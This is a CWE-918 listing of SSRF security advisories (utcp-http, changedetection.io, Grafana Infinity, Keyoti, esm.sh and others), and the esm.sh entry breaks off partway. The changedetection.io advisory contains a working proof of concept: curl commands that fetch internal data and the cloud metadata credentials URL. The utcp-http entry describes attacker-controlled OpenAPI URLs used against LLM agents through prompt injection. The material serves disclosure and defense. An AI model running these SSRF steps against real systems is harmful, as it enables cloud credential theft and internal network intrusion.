Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-39J6-4867-GG4W

Vulnerability from github – Published: 2026-05-07 22:32 – Updated: 2026-05-15 23:45
VLAI
Summary
utcp-http vulnerable to SSRF via attacker-controlled OpenAPI servers[0].url in HTTP communication protocol
Details

Summary

The utcp-http plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. register_manual() validates the discovery URL against an HTTPS / loopback allowlist, but call_tool() and call_tool_streaming() reuse the resolved tool_call_template.url directly without revalidating. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare servers: [{ url: "http://169.254.169.254" }] (or any internal address) in the spec; the OpenAPI converter blindly trusts that value and the tool becomes a blind SSRF primitive that exposes cloud metadata, internal services, and other firewalled-only endpoints to the LLM caller.

All three HTTP-class protocols (utcp_http.http, utcp_http.streamable_http, utcp_http.sse) shared the same gap, plus a separate prefix-bypass: the previous startswith("http://localhost") check let URLs like http://localhost.evil.com through.

Impact

A remote attacker who can convince the agent (via the LLM context, prompt injection, or a tool-discovery surface) to register their HTTPS OpenAPI URL can: - Map internal networks behind the agent. - Read AWS/GCP IAM credentials from cloud metadata endpoints (http://169.254.169.254, http://metadata.google.internal). - Reach unauthenticated internal services (Elasticsearch, Redis HTTP, internal admin panels). - Have responses returned to the LLM, which combined with prompt injection enables exfiltration back to the attacker.

Affected versions

utcp-http <= 1.1.1.

Patched versions

utcp-http 1.1.2.

Patch

Commit: 5b16e43 on dev.

  • New utcp_http._security helper: ensure_secure_url(url, context=...) parses the URL with urllib.parse.urlparse and validates the hostname (not a string prefix) against the loopback set, closing the localhost.evil.com bypass.
  • All three protocols call ensure_secure_url(url, context="manual discovery") in register_manual (replacing the duplicated prefix check) and ensure_secure_url(url, context="tool invocation") immediately before each aiohttp request in call_tool / call_tool_streaming. The runtime check is the actual SSRF fix.
  • New regression tests in test_security.py pin the accept/reject decisions and explicitly cover the historical bypass cases.

Workarounds

For users who cannot upgrade immediately: - Refuse to call register_manual with any URL controlled by an untrusted party, even over HTTPS. - Restrict outbound network access from the host running the agent so internal addresses (RFC1918, 169.254.0.0/16, loopback for cloud metadata) are unreachable.

Credit

Discovered and reported by @YLChen-007 in #83.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T22:32:54Z",
    "nvd_published_at": "2026-05-14T21:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `utcp-http` plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. `register_manual()` validates the discovery URL against an HTTPS / loopback allowlist, but `call_tool()` and `call_tool_streaming()` reuse the resolved `tool_call_template.url` directly without revalidating. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare `servers: [{ url: \"http://169.254.169.254\" }]` (or any internal address) in the spec; the OpenAPI converter blindly trusts that value and the tool becomes a blind SSRF primitive that exposes cloud metadata, internal services, and other firewalled-only endpoints to the LLM caller.\n\nAll three HTTP-class protocols (`utcp_http.http`, `utcp_http.streamable_http`, `utcp_http.sse`) shared the same gap, plus a separate prefix-bypass: the previous `startswith(\"http://localhost\")` check let URLs like `http://localhost.evil.com` through.\n\n## Impact\n\nA remote attacker who can convince the agent (via the LLM context, prompt injection, or a tool-discovery surface) to register their HTTPS OpenAPI URL can:\n- Map internal networks behind the agent.\n- Read AWS/GCP IAM credentials from cloud metadata endpoints (`http://169.254.169.254`, `http://metadata.google.internal`).\n- Reach unauthenticated internal services (Elasticsearch, Redis HTTP, internal admin panels).\n- Have responses returned to the LLM, which combined with prompt injection enables exfiltration back to the attacker.\n\n## Affected versions\n\n`utcp-http \u003c= 1.1.1`.\n\n## Patched versions\n\n`utcp-http 1.1.2`.\n\n## Patch\n\nCommit: 5b16e43 on `dev`.\n\n- New `utcp_http._security` helper: `ensure_secure_url(url, context=...)` parses the URL with `urllib.parse.urlparse` and validates the hostname (not a string prefix) against the loopback set, closing the `localhost.evil.com` bypass.\n- All three protocols call `ensure_secure_url(url, context=\"manual discovery\")` in `register_manual` (replacing the duplicated prefix check) and `ensure_secure_url(url, context=\"tool invocation\")` immediately before each aiohttp request in `call_tool` / `call_tool_streaming`. The runtime check is the actual SSRF fix.\n- New regression tests in `test_security.py` pin the accept/reject decisions and explicitly cover the historical bypass cases.\n\n## Workarounds\n\nFor users who cannot upgrade immediately:\n- Refuse to call `register_manual` with any URL controlled by an untrusted party, even over HTTPS.\n- Restrict outbound network access from the host running the agent so internal addresses (RFC1918, 169.254.0.0/16, loopback for cloud metadata) are unreachable.\n\n## Credit\n\nDiscovered and reported by [@YLChen-007](https://github.com/YLChen-007) in #83.",
  "id": "GHSA-39j6-4867-gg4w",
  "modified": "2026-05-15T23:45:57Z",
  "published": "2026-05-07T22:32:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-39j6-4867-gg4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44661"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-http vulnerable to SSRF via attacker-controlled OpenAPI servers[0].url in HTTP communication protocol"
}

GHSA-3C45-4PJ5-CH7M

Vulnerability from github – Published: 2026-02-25 19:08 – Updated: 2026-02-25 19:08
VLAI
Summary
changedetection.io is Vulnerable to SSRF via Watch URLs
Details

Summary

Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function is_safe_valid_url() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:

  • http://169.254.169.254
  • http://10.0.0.1/
  • http://127.0.0.1/

The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.

This is particularly severe because:

  • The fetched content is stored and viewable - this is not a blind SSRF
  • Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources
  • By default, no password is set - the web UI is accessible without authentication
  • Self-hosted deployments typically run on cloud infrastructure where 169.254.169.254 returns real IAM credentials

Details

The URL validation function is_safe_valid_url() in changedetectionio/validate_url.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:

# changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):

    safe_protocol_regex = '^(http|https|ftp):'

    # Check protocol
    pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
    if not pattern.match(test_url.strip()):
        return False

    # Check URL format
    if not validators.url(test_url, simple_host=True):
        return False

    return True  # No IP address validation performed

The HTTP fetcher in changedetectionio/content_fetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:

# changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
                    url=url,            # User-provided URL, no IP validation
                    headers=request_headers,
                    timeout=timeout,
                    proxies=proxies,
                    verify=False)

The response content is stored and made available to the user:

# changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text     # Text content stored
self.raw_content = r.content  # Raw bytes stored

This validation gap exists in all entry points that accept watch URLs:

  • Web UI: changedetectionio/store/__init__.py:718
  • REST API: changedetectionio/api/watch.py:163, 428
  • Import API: changedetectionio/api/import.py:188

All use the same is_safe_valid_url() function, so a single fix addresses all paths.


PoC

Prerequisites

  • A changedetection.io instance (Docker deployment)
  • Network access to the instance (default port 5000)

Step 1: Deploy changedetection.io with an internal service

Create internal-service.py:

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps({
            'Code': 'Success',
            'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
            'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
            'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
        }).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()

Create Dockerfile.internal:

FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]

Create docker-compose.yml:

version: "3.8"
services:
  changedetection:
    image: ghcr.io/dgtlmoon/changedetection.io
    ports:
      - "5000:5000"
    volumes:
      - ./datastore:/datastore

  internal-service:
    build:
      context: .
      dockerfile: Dockerfile.internal

Start the stack:

docker compose up -d

Step 2: Add a watch for the internal service

Open http://localhost:5000/ in a browser (no password required by default).

In the URL field, enter:

http://internal-service/

Click Watch and wait for the first check to complete.

Step 3: View the exfiltrated data

Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:

{
  "Code": "Success",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  ...
}

Screenshot 2026-02-16 084212

Step 4: Verify via API (alternative)

# Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")

# Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
  -H "x-api-key: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://internal-service/"}')

WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"

# Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30

# Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
  -H "x-api-key: $API_KEY" | \
  python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")

echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
  -H "x-api-key: $API_KEY"

Expected output — the internal service’s response containing simulated credentials:

{
  "Code": "Success",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  ...
}

In a real cloud deployment, replacing http://internal-service/ with:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

would return real AWS IAM credentials.

Screenshot 2026-02-16 084407


Impact

Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.

What an attacker can do:

  • Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens
  • Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses
  • Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet
  • Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources
  • No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability

Suggested Remediation

Add IP address validation to is_safe_valid_url() in changedetectionio/validate_url.py:

import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),     # Loopback
    ipaddress.ip_network('10.0.0.0/8'),      # Private (RFC 1918)
    ipaddress.ip_network('172.16.0.0/12'),   # Private (RFC 1918)
    ipaddress.ip_network('192.168.0.0/16'),  # Private (RFC 1918)
    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / Cloud metadata
    ipaddress.ip_network('::1/128'),         # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),        # IPv6 unique local
    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local
]

def is_private_ip(hostname):
    """Check if a hostname resolves to a private/reserved IP address."""
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            for network in BLOCKED_NETWORKS:
                if ip in network:
                    return True
    except socket.gaierror:
        return True  # Block unresolvable hostnames
    return False

Then add to is_safe_valid_url() before the final return True:

# Check for private/reserved IP addresses
parsed = urlparse(test_url)
if parsed.hostname and is_private_ip(parsed.hostname):
    logger.warning(f"URL '{test_url}' resolves to a private/reserved IP address")
    return False

An environment variable (e.g., ALLOW_PRIVATE_IPS=true) could be provided for users who intentionally need to monitor internal services.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:08:18Z",
    "nvd_published_at": "2026-02-25T05:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI \u2014 enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60\u2013122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = \u0027^(http|https|ftp):\u0027\n\n    # Check protocol\n    pattern = re.compile(os.getenv(\u0027SAFE_PROTOCOL_REGEX\u0027, safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83\u201389) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            \u0027Code\u0027: \u0027Success\u0027,\n            \u0027AccessKeyId\u0027: \u0027AKIAIOSFODNN7EXAMPLE\u0027,\n            \u0027SecretAccessKey\u0027: \u0027wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0027,\n            \u0027Token\u0027: \u0027FwoGZXIvYXdzEBYaDExampleSessionToken\u0027\n        }).encode())\nHTTPServer((\u00270.0.0.0\u0027, 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service\u2019s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\u003cimg width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" /\u003e\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027settings\u0027][\u0027application\u0027][\u0027api_access_token\u0027])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://internal-service/\"}\u0027)\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027uuid\u0027])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print(\u0027\u0027)\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output \u2014 the internal service\u2019s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n\u003cimg width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" /\u003e\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # Loopback\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),      # Private (RFC 1918)\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),   # Private (RFC 1918)\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),  # Private (RFC 1918)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # Link-local / Cloud metadata\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback\n    ipaddress.ip_network(\u0027fc00::/7\u0027),        # IPv6 unique local\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL \u0027{test_url}\u0027 resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
  "id": "GHSA-3c45-4pj5-ch7m",
  "modified": "2026-02-25T19:08:18Z",
  "published": "2026-02-25T19:08:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io is Vulnerable to SSRF via Watch URLs"
}

GHSA-3C8W-XM49-2W5F

Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-18 18:31
VLAI
Details

An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T21:15:50Z",
    "severity": "HIGH"
  },
  "details": "An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.",
  "id": "GHSA-3c8w-xm49-2w5f",
  "modified": "2025-04-18T18:31:23Z",
  "published": "2025-04-17T21:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29452"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/dsvvsv8get5i2dzg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3C93-92R7-J934

Vulnerability from github – Published: 2025-08-04 09:30 – Updated: 2025-08-04 20:25
VLAI
Summary
Grafana Infinity Datasource Plugin SSRF Vulnerability
Details

Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.

If the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana-infinity-datasource"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.2-0.20250731100004-9c736aa21b3a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-04T20:25:39Z",
    "nvd_published_at": "2025-08-04T09:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.\n\n\nIf the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.",
  "id": "GHSA-3c93-92r7-j934",
  "modified": "2025-08-04T20:25:39Z",
  "published": "2025-08-04T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana-infinity-datasource/commit/9c736aa21b3a669d3070d3f5f80d949326fafa77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana-infinity-datasource"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana-infinity-datasource/releases/tag/v3.4.1"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2025-8341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grafana Infinity Datasource Plugin SSRF Vulnerability"
}

GHSA-3C9C-9W7C-4F9J

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-17 21:32
VLAI
Details

Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-44043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T16:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.",
  "id": "GHSA-3c9c-9w7c-4f9j",
  "modified": "2025-06-17T21:32:03Z",
  "published": "2025-06-10T18:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44043"
    },
    {
      "type": "WEB",
      "url": "https://keyoti.com/products/search/dotNetWeb/HtmlHelp9/?topic=UserGuide/Release%20Notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.sprocketsecurity.com/blog/cve-alert-cve-2025-44043-cve-2025-44044-the-search-bar-hacks-arent-dead-yet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3C9R-837R-QQM4

Vulnerability from github – Published: 2026-02-25 15:19 – Updated: 2026-02-27 20:56
VLAI
Summary
esm.sh is vulnerable to full-response SSRF
Details

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

